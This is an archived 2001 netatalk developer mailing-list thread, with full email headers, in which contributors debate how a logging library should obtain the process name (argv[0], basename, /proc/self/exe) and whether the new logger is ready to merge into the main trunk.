References: <3BFC5DB7.BF332CCB@sibaz.com> <3BFE3812.B5427B24@sibaz.com> <3BFE7BE0.F6B85C14@trewitt.org>
In-Reply-To: <3BFE7BE0.F6B85C14@trewitt.org>
MIME-Version: 1.0
Message-Id: <01112401045300.13973@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA04482

On Fri, 23 Nov 2001, Glenn Trewitt wrote:
> How about argv[0] in main()?  You might want to trim the string down to get rid of the path, but that's the Right Thing to do.
>     - Glenn

I think argv isn't available at that point.

If you have a /proc file system you can readlink(2) /proc/self/exe.

HTH
Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Nov 23 19:39:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04486
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 19:39:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA06843
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 19:39:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA06830
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 19:39:43 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA06794
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 19:39:42 -0500 (EST)
Received: from tc01-n71-025.de.inter.net ([213.73.71.25] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 167Qr6-0002vC-01; Sat, 24 Nov 2001 01:39:41 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id BAA16901;
	Sat, 24 Nov 2001 01:05:13 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Logger
Date: Sat, 24 Nov 2001 00:51:37 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B8237B8D.9B20%sflist@ihonk.com> <3BFE4339.9103EA8@sibaz.com> <15358.30926.350594.687452@rgrjr.dyndns.org>
In-Reply-To: <15358.30926.350594.687452@rgrjr.dyndns.org>
MIME-Version: 1.0
Message-Id: <01112401051301.13973@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA04486

On Fri, 23 Nov 2001, Bob Rogers wrote:
> From: Simon Bazley <sibaz@sibaz.com>
>    Date: Fri, 23 Nov 2001 12:38:17 +0000
> 
>    FYI linux ps gets the process name by loading the file /proc/#/stat
>    into a string buffer . . .

That wouldn't work on my linux box (kernel 2.2.x).
There is no dir /proc/# - did you mean /proc/self/stat?

On my system a process can find itself in /proc/self which is a symlink to /proc/<process-id> where
<process-id> is the id of the current process.

Now you can simply readlink(2) /proc/self/exe, and you have the name of your process.

> 
>    That will work for linux but like I say, what about Tru64, solaris et al.
> 
>    Simon

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Nov 23 20:35:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA07921
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 20:35:34 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA09866
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 20:35:34 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA09855
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 20:35:33 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA09826
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 20:35:32 -0500 (EST)
Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fAO1WcJ02573;
	Fri, 23 Nov 2001 20:32:38 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Logger
From: Joe Clarke <marcus@marcuscom.com>
To: deltor@snafu.de
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
In-Reply-To: <01112401045300.13973@athlet>
References: <3BFC5DB7.BF332CCB@sibaz.com> <3BFE3812.B5427B24@sibaz.com>
	<3BFE7BE0.F6B85C14@trewitt.org>  <01112401045300.13973@athlet>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.2 (Preview Release)
Date: 24 Nov 2001 06:35:46 +0500
Message-Id: <1006565746.41122.2.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Fri, 2001-11-23 at 19:00, Carsten Neumann wrote:
> On Fri, 23 Nov 2001, Glenn Trewitt wrote:
> > How about argv[0] in main()?  You might want to trim the string down to get rid of the path, but that's the Right Thing to do.
> >     - Glenn
> 
> I think argv isn't available at that point.
> 
> If you have a /proc file system you can readlink(2) /proc/self/exe.

argv is available to the parent afpd.  You can't use /proc since that is
not a portable solution.  This code in the main() function of afpd is
probably the best alternative:

#include <libgen.h>
...
char *cmd = basename(argv[0]);
LogSetup(cmd, ...);

Joe

> 
> HTH
> Kind regards
> 
> 	Carsten
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Fri Nov 23 21:32:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA10315
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 21:32:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA26157
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 21:32:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA26148
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 21:32:49 -0500 (EST)
Received: from mta05-svc.ntlworld.com (mta05-svc.ntlworld.com [62.253.162.45])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA26115
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 21:32:48 -0500 (EST)
Received: from sibaz.com ([213.104.156.57]) by mta05-svc.ntlworld.com
          (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP
          id <20011124023246.BMUQ18045.mta05-svc.ntlworld.com@sibaz.com>;
          Sat, 24 Nov 2001 02:32:46 +0000
Message-ID: <3BFF0727.15B597D9@sibaz.com>
Date: Sat, 24 Nov 2001 02:34:15 +0000
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en-GB,en,en-US
MIME-Version: 1.0
To: deltor@snafu.de
CC: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Logger
References: <B8237B8D.9B20%sflist@ihonk.com> <3BFE4339.9103EA8@sibaz.com> <15358.30926.350594.687452@rgrjr.dyndns.org> <01112401051301.13973@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

By # I meant the process ID.  So for example for afpd running as pid 8534, it would be /proc/8534/stat

Simon

Carsten Neumann wrote:

> On Fri, 23 Nov 2001, Bob Rogers wrote:
> > From: Simon Bazley <sibaz@sibaz.com>
> >    Date: Fri, 23 Nov 2001 12:38:17 +0000
> >
> >    FYI linux ps gets the process name by loading the file /proc/#/stat
> >    into a string buffer . . .
>
> That wouldn't work on my linux box (kernel 2.2.x).
> There is no dir /proc/# - did you mean /proc/self/stat?
>
> On my system a process can find itself in /proc/self which is a symlink to /proc/<process-id> where
> <process-id> is the id of the current process.
>
> Now you can simply readlink(2) /proc/self/exe, and you have the name of your process.
>
> >
> >    That will work for linux but like I say, what about Tru64, solaris et al.
> >
> >    Simon
>
>         Carsten
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel


From netatalk.administrators-errors@umich.edu  Fri Nov 23 22:50:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA12681
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 23 Nov 2001 22:50:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA07477
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 23 Nov 2001 22:50:07 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA07470
	for netatalk.administrators-members@umich.edu; Fri, 23 Nov 2001 22:50:07 -0500 (EST)
Received: from bocklabs.wisc.edu (bocklabs.wisc.edu [144.92.19.218])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA07456
	for <netatalk-admins@umich.edu>; Fri, 23 Nov 2001 22:50:06 -0500 (EST)
Received: from localhost (dan@localhost)
	by bocklabs.wisc.edu (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id fAO3meU21631;
	Fri, 23 Nov 2001 21:48:40 -0600
Date: Fri, 23 Nov 2001 21:48:40 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@bocklabs.wisc.edu>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
cc: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] Reminder: IRC meeting Sat, 2001-11-23 (updated)
In-Reply-To: <20011123084509.A8531@jroger.in-berlin.de>
Message-ID: <Pine.LNX.4.33.0111232147001.21628-100000@bocklabs.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Is the tarball release candidate already "autogen-ed" or something? Should
we not have a version that is exactly like what you'd download from CVS or
not?

-Dan



From netatalk.administrators-errors@umich.edu  Sat Nov 24 00:04:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA15412
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 00:04:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA17519
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 00:04:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA17502
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 00:04:54 -0500 (EST)
Received: from clever.eusc.inter.net (clever.eusc.inter.net [213.73.101.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA17468
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 00:04:53 -0500 (EST)
Received: from tc07-n66-081.de.inter.net ([213.73.66.81] helo=athlet.deltaman.de)
	by clever.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 167Uzc-00024d-00; Sat, 24 Nov 2001 06:04:48 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id GAA18013;
	Sat, 24 Nov 2001 06:00:33 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Logger
Date: Sat, 24 Nov 2001 05:13:32 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3BFC5DB7.BF332CCB@sibaz.com> <01112401045300.13973@athlet> <1006565746.41122.2.camel@shumai.marcuscom.com>
In-Reply-To: <1006565746.41122.2.camel@shumai.marcuscom.com>
MIME-Version: 1.0
Message-Id: <01112406003300.17383@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id AAA15412

On Sat, 24 Nov 2001, Joe Clarke wrote:
> On Fri, 2001-11-23 at 19:00, Carsten Neumann wrote:
> > On Fri, 23 Nov 2001, Glenn Trewitt wrote:
> > > How about argv[0] in main()?  You might want to trim the string down to get rid of the path, but that's the Right Thing to do.
> > >     - Glenn
> > 
> > I think argv isn't available at that point.
> > 
> > If you have a /proc file system you can readlink(2) /proc/self/exe.
> 
> argv is available to the parent afpd.  You can't use /proc since that is
> not a portable solution.  This code in the main() function of afpd is
> probably the best alternative:
> 
> #include <libgen.h>
> ...
> cchar *cmd = basename(argv[0]);
> LogSetup(cmd, ...);
> 
> Joe

You assume that the function call will be somewhere in the program where argv is available.

But I wrote that I think that at the point where the requested function is performed argv is not
available.

I also think the questioner is well aware of the fact, that he could simply use argv[0] to get
the program name - from main or some function to which argv is passed.

So the requested function must be called from somewhere else - e.g. a library which has no access
to argv.

I'm sorry that my suggestion will not work on all platforms, but it should work at least on linux
with /proc filesystem - which is the default for (almost?) all linuxes, for the rest there must be
found some other solution.


BTW: what is a `cchar'? Your personal typedef of `const char'?


Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sat Nov 24 00:18:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA16024
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 00:18:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA05771
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 00:18:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA05760
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 00:18:15 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA05732
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 00:18:13 -0500 (EST)
Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fAO5FIJ03755;
	Sat, 24 Nov 2001 00:15:18 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Logger
From: Joe Clarke <marcus@marcuscom.com>
To: deltor@snafu.de
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
In-Reply-To: <01112406003300.17383@athlet>
References: <3BFC5DB7.BF332CCB@sibaz.com> <01112401045300.13973@athlet>
	<1006565746.41122.2.camel@shumai.marcuscom.com> 
	<01112406003300.17383@athlet>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.2 (Preview Release)
Date: 24 Nov 2001 10:18:28 +0500
Message-Id: <1006579108.42573.2.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Fri, 2001-11-23 at 23:13, Carsten Neumann wrote:
> On Sat, 24 Nov 2001, Joe Clarke wrote:
> > On Fri, 2001-11-23 at 19:00, Carsten Neumann wrote:
> > > On Fri, 23 Nov 2001, Glenn Trewitt wrote:
> > > > How about argv[0] in main()?  You might want to trim the string down to get rid of the path, but that's the Right Thing to do.
> > > >     - Glenn
> > > 
> > > I think argv isn't available at that point.
> > > 
> > > If you have a /proc file system you can readlink(2) /proc/self/exe.
> > 
> > argv is available to the parent afpd.  You can't use /proc since that is
> > not a portable solution.  This code in the main() function of afpd is
> > probably the best alternative:
> > 
> > #include <libgen.h>
> > ...
> > cchar *cmd = basename(argv[0]);
> > LogSetup(cmd, ...);
> > 
> > Joe
> 
> You assume that the function call will be somewhere in the program where argv is available.
> 

Yes, it will.  For afpd, it will be in the main function of afpd. 
Logging will be setup there, then used by all the children.

> But I wrote that I think that at the point where the requested function is performed argv is not
> available.

If argv isn't available, you have to use another method.  The call
getprogname() or something like it should be used.  However, netatalk is
divided into executable processes, so argv will always be an option.

> 
> I also think the questioner is well aware of the fact, that he could simply use argv[0] to get
> the program name - from main or some function to which argv is passed.
> 
> So the requested function must be called from somewhere else - e.g. a library which has no access
> to argv.

Why?  The library will be initialized from a program that contains a
main() function.  Give me an example of how a library magically runs
itself.  Take a look at the code.  openlog() is called from
afp_options.c.  openlog() is a library call.  And guess what?  It's
called with an argument of char *p.  What is p, you ask?  It's basically
basename(argv[0]).  Now why can't Simon's logging code do that as well?

> 
> I'm sorry that my suggestion will not work on all platforms, but it should work at least on linux
> with /proc filesystem - which is the default for (almost?) all linuxes, for the rest there must be
> found some other solution.
> 

You should _never_ opt for a programming method that is non-portable. 
Isolating *BSD, Solaris, and Tru64 is not a way to make friends.  The
argv[0] method is fine.  Else you could statically compile in the name
as afpd (or whatever) if you absolutely had to.

> 
> BTW: what is a `cchar'? Your personal typedef of `const char'?

A mistype.  It should be char.

Joe

> 
> 
> Kind regards
> 
> 	Carsten
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Sat Nov 24 00:49:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA17293
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 00:49:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA24924
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 00:49:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA24912
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 00:49:26 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA24340
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 00:49:02 -0500 (EST)
Received: from tc07-n66-081.de.inter.net ([213.73.66.81] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 167VgB-0000Ed-00; Sat, 24 Nov 2001 06:48:47 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id GAA19888;
	Sat, 24 Nov 2001 06:46:46 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Logger
Date: Sat, 24 Nov 2001 06:28:09 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3BFC5DB7.BF332CCB@sibaz.com> <01112406003300.17383@athlet> <1006579108.42573.2.camel@shumai.marcuscom.com>
In-Reply-To: <1006579108.42573.2.camel@shumai.marcuscom.com>
MIME-Version: 1.0
Message-Id: <01112406464601.17383@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id AAA17293

On Sat, 24 Nov 2001, Joe Clarke wrote:
> On Fri, 2001-11-23 at 23:13, Carsten Neumann wrote:
> > On Sat, 24 Nov 2001, Joe Clarke wrote:
> > > On Fri, 2001-11-23 at 19:00, Carsten Neumann wrote:
> > > > On Fri, 23 Nov 2001, Glenn Trewitt wrote:
> > > > > How about argv[0] in main()?  You might want to trim the string down to get rid of the path, but that's the Right Thing to do.
> > > > >     - Glenn
> > > > 
> > > > I think argv isn't available at that point.
> > > > 
> > > > If you have a /proc file system you can readlink(2) /proc/self/exe.
> > > 
> > > argv is available to the parent afpd.  You can't use /proc since that is
> > > not a portable solution.  This code in the main() function of afpd is
> > > probably the best alternative:
> > > 
> > > #include <libgen.h>
> > > ...
> > > cchar *cmd = basename(argv[0]);
> > > LogSetup(cmd, ...);
> > > 
> > > Joe
> > 
> > You assume that the function call will be somewhere in the program where argv is available.
> > 
> 
> Yes, it will.  For afpd, it will be in the main function of afpd. 
> Logging will be setup there, then used by all the children.
> 
> > But I wrote that I think that at the point where the requested function is performed argv is not
> > available.
> 
> If argv isn't available, you have to use another method.  The call
> getprogname() or something like it should be used.  However, netatalk is

Sorry, can't find getprogname() in my headers/man-pages.

> divided into executable processes, so argv will always be an option.
> 
> > 
> > I also think the questioner is well aware of the fact, that he could simply use argv[0] to get
> > the program name - from main or some function to which argv is passed.
> > 
> > So the requested function must be called from somewhere else - e.g. a library which has no access
> > to argv.
> 
> Why?  The library will be initialized from a program that contains a
> main() function.  Give me an example of how a library magically runs
> itself.  Take a look at the code.  openlog() is called from
> afp_options.c.  openlog() is a library call.  And guess what?  It's
> called with an argument of char *p.  What is p, you ask?  It's basically
> basename(argv[0]).  Now why can't Simon's logging code do that as well?

So now I don't understand the reason for this question at all.

To know that the program's path is in argv[0] is BASE KNOWLEDGE.
If the programmer doesn't know this he/she must be a C-beginner.
This is not a C-learning mailing list!

I wouldn't trust logging code from such a person.

> 
> > 
> > I'm sorry that my suggestion will not work on all platforms, but it should work at least on linux
> > with /proc filesystem - which is the default for (almost?) all linuxes, for the rest there must be
> > found some other solution.
> > 
> 
> You should _never_ opt for a programming method that is non-portable. 
> Isolating *BSD, Solaris, and Tru64 is not a way to make friends.  The
> argv[0] method is fine.  Else you could statically compile in the name
> as afpd (or whatever) if you absolutely had to.

It was NEVER my intention to isolate other platforms.
This was just a suggestion from the best knowledge of one platform I know!
If it isn't portable is has to use some #ifdef <PLATFORM>.

> 
> > 
> > BTW: what is a `cchar'? Your personal typedef of `const char'?
> 
> A mistype.  It should be char.
> 
> Joe
> 
> > 
> > 
> > Kind regards
> > 
> > 	Carsten

K'pla

	Carsten

From netatalk.administrators-errors@umich.edu  Sat Nov 24 08:56:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA01246
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 08:56:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA18933
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 08:56:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA18931
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 08:56:24 -0500 (EST)
Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA18870
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 08:56:07 -0500 (EST)
Received: from sibaz.com ([213.104.152.99]) by mta07-svc.ntlworld.com
          (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP
          id <20011124135606.GOKX692.mta07-svc.ntlworld.com@sibaz.com>;
          Sat, 24 Nov 2001 13:56:06 +0000
Message-ID: <3BFFA74F.4869009B@sibaz.com>
Date: Sat, 24 Nov 2001 13:57:35 +0000
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en-GB,en,en-US
MIME-Version: 1.0
To: deltor@snafu.de
CC: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Logger
References: <3BFC5DB7.BF332CCB@sibaz.com> <01112406003300.17383@athlet> <1006579108.42573.2.camel@shumai.marcuscom.com> <01112406464601.17383@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ok, OK, I've done it already *grins*

There is a SetProcessName function for those that want to use it and a function LoadProcessNameFromProc (spelt with 2 c's ie wrong for the time being, DOH) to do the linux thing.

I'm sure the non linuxs have a ps function and it must have a means for getting the processname.  Anyway, for the time being we can use SetProcessName (which is called by LoadProcessNameFromProc).

The real question is with all this going on today, can we put the logger in the main trunk?

The current setup has 3 important points.
1) The syslog bit, which is setup by default.  It will log everything to syslog as per usual.  It is configured by a call to SysLogSetup with a different loglevel or logtype.  I should probably change it to add the filename/line of the caller (which
currently only gets logged to a file).  This I believe does exactly the same as the current calls to syslog, with a bit of enhancement with the loglevel and logtype string being prepended to what would normally have been logged to syslog.  It also has a
limit in the logstring length of 512 charachters (whcih I think should be enough).
2) The file logger bit.  This logs to a file which currently defaults to a localfile, called debuglog..  Thats not really desirable, but as soon as someone calls LogSetup, they change that anyway.  The directory this new file will exist in is set to
'/var/log/netatalk/'.  Thats currently hard coded, but theres no reason why that cant be set by a configure option, or changed by giving a filename that overrides it (will a call to fopen with name '/var/log/netatalk//root/debuglog.log' ignore the
/var/log/netatalk bit?).  Either way if the LogSetup call sets the loglevel to log_severe then the whole section is pretty much turned off.  Using a LogLevel of -1 will turn it off completely.
3) An enchancement to the file logger bit.  If the file logger can't open the logfile its been given (ie the directory /var/log/netatalk doesn't exist) then it will log to stdout for the process.

There are a number of improvements that still need to be done, but at the very least it doesn't to anything less than a call to syslog (except the 512 char limit).  Hence I ask is it ready to leave its lonely home in 'tagged_to_work_on_logger' and go into
the main trunk?

Simon


From netatalk.administrators-errors@umich.edu  Sat Nov 24 09:03:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA01397
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 09:03:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA17549
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 09:03:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA17536
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 09:03:01 -0500 (EST)
Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA17409
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 09:02:56 -0500 (EST)
Received: from sibaz.com ([213.104.152.99]) by mta07-svc.ntlworld.com
          (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP
          id <20011124140254.GSDS692.mta07-svc.ntlworld.com@sibaz.com>;
          Sat, 24 Nov 2001 14:02:54 +0000
Message-ID: <3BFFA8E8.D697315C@sibaz.com>
Date: Sat, 24 Nov 2001 14:04:24 +0000
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en-GB,en,en-US
MIME-Version: 1.0
To: deltor@snafu.de, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Logger
References: <3BFC5DB7.BF332CCB@sibaz.com> <01112406003300.17383@athlet> <1006579108.42573.2.camel@shumai.marcuscom.com> <01112406464601.17383@athlet> <3BFFA74F.4869009B@sibaz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Oh, and another thing:

My coding style is to use capitalised descriptions on everything (LogSetup) and to use vaigly informative global variables (arrMyArray and numMyArray for the array and the number of items in it).  I also indent with
if
{
<- 2 spaces indenting
  if
  {
  }
  else
    another command
}

